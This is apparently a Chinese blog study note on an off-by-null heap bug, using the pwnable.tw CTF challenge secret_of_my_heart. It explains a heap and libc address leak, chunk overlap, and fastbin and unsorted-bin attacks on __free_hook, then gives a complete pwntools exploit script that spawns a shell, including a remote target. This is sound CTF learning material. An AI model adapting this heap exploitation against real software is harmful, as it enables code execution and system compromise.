off by null漏洞

例题讲解

原文链接:https://www.anquanke.com/post/id/171283

1
2
3
4
5
6
用pwnable.tw里面的secret_of_my_heart作为例题
pwnable.tw不知道我为什么题目取不出来,只能直接学
这个漏洞有点难懂 看了挺久的 为了解决easy_heap那一题
首先介绍这题

检查

1
该程序有三个功能

1
2
分别是add、delete和show功能。
程序刚开始使用mmap函数申请了一块内存:

1
2
3
这里的mmap出的内存里面主要作用是用来存放一个个secret结构体

sercet的结构体如下:

1
下面看一下add函数

1
漏洞点在add函数中的input_str函数中

1
2
3
4
5
红框中的代码有泄露漏洞,可以泄露堆的地址

而蓝框中的代码则是在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。

看一下show函数的内容:

1
再看一下delete函数中的内容:

1
2
3
4
5
6
7
1、可以通过unsortedbin attack写入到free_hook上方,然后利用fastbin attack写入system的地址,从而拿到shell;

2、可以通过fastbin attack修改malloc_hook为one_gadget,然后利用malloc_printerr触发malloc;

3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell;

4、可以通过fastbin attack修改top chunk指针来劫持top chunk,拿到shell;

具体实现

1
第一种思路的实现

1
2
3
这是exp中的各个函数

首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的

1
2
3
4
5
6
7
然后进行chunk overlap

这里的大概思路是,通过3号chunk去溢出4号chunk的prevsize和size,使得当释放4号chunk时,去合并0-3号chunk。这里为了绕过unlink中出现的crash,我们需要先将0号chunk给free掉。 ![](YinXiangBiJi.enexfiles/chunkoverlap.png)

这里需要说一下,p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin attack做准备,所以可以暂时忽略,后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size,这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。

特别说明一下,attack_heap的地址为0x562b0fa382c0。

1
2
3
可以看到,这里已经实现了我们的目的。

然后进行libc地址泄露

1
2
3
4
5
我们已经将0-4号合并的chunk放到了unsortedbin中,但1号chunk实际上并没有被我们free过,所以我们把在unsortedbin中的0号chunk申请掉,malloc就会切割chunk,并将unsortedbin的地址放到1号chunk里面,这时候我们去show1号chunk就可以得到unsortedbin地址了。

我们已经将libc地址泄露了,接下来我们该如何利用这些chunk拿到shell呢?

首先,我们先去free掉2号chunk,使得2号chunk放入fastbin中,那么现在堆的布局是怎样的呢?我们来看一下。

1
这样我们就可以通过去unsortedbin中取得内存,来控制0x562b0fa38200中的内容了.

1
首先new一个0xE8大小的内存。

1
然后通过new一块0x70+0x70大小的chunk,控制0x562b0fa38200中的prev_size为0,size为0x71,fd为attack_heap,也就是0x562b0fa382c0

1
看一下0x562b0fa382c0中的情况

1
为什么0x562b0fa382c0中为什么回事这样呢,还记得前面吗?

1
2
3
4
5
这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。

这样,fastbin中就有了三个chunk,分别是0x562b0fa38200,0x562b0fa382c0,0x562b0fa382c0。

接下来我们将0x562b0fa38200申请出来,然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin attack和unsortedbin attack。

还有四种方法自行原文学习 ,学一种我就快die了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *

#context.log_level = "debug"

local = True

if local:

p = process("./secret\_of\_my_heart")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bin_offset = 0x3C4B20 + 0x58

else:

p = remote("chall.pwnable.tw","10302")

libc = ELF("./libc_64.so.6")

bin_offset = 0x3C3B20 + 0x58

elf = ELF("./secret_of_my_heart")

def new(size,name,secret):

p.sendlineafter("choice :",str(1))

p.sendlineafter("Size of heart : ",str(size))

p.sendafter("Name of heart :",name)

p.sendafter("secret of my heart :",secret)

def show(index):

p.sendlineafter("choice :",str(2))

p.sendlineafter("Index :",str(index))

def free(index):

p.sendlineafter("choice :",str(3))

p.sendlineafter("Index :",str(index))

new(0xF8,"a"*0x20,"aaaa")#0 100

new(0xF8,"b"*0x20,"bbbb")#1 100

show(1)

p.recvuntil("b"*0x20)

heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

success("heap_address ===> " + hex(heap_addr))

new(0x68,"c"*0x20,"cccc")#2 70

new(0x68,"d"*0x20,"dddd")#3 70

new(0xF8,"d"*0x20,"dddd")#4 100

new(0xF8,"padding\n","padding\n")#5

free(0)

free(3)

offset = 0x55a9d344a2c0 - 0x55a9d344a110

attack_heap = heap_addr + offset

new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0

free(4)

new(0xF8,"a"*0x20,"aaaa")#3

show(1)

p.recvuntil("Secret : ")

bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

libc.address = bin_addr - bin_offset

free_hook = libc.symbols['__free_hook']

success("libc_address ===> " + hex(libc.address))

success("system_address ===> " + hex(libc.symbols['system']))

success("__free_hook ===> " + hex(free_hook))

free(2)

log.info("attack_heap_address ===> " + hex(attack_heap))

new(0xE8,"test","test") #2

new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4

new(0x68,"test","/bin/sh\x00") #6

new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50))

new(0xF8,"attack","attack")

#unsorted bin attack

payload = "\x00" * 0x33 + p64(libc.symbols['system'])

new(0x68,"attack","attack")

new(0x68,"attack",payload)

free(6)

p.interactive()
0%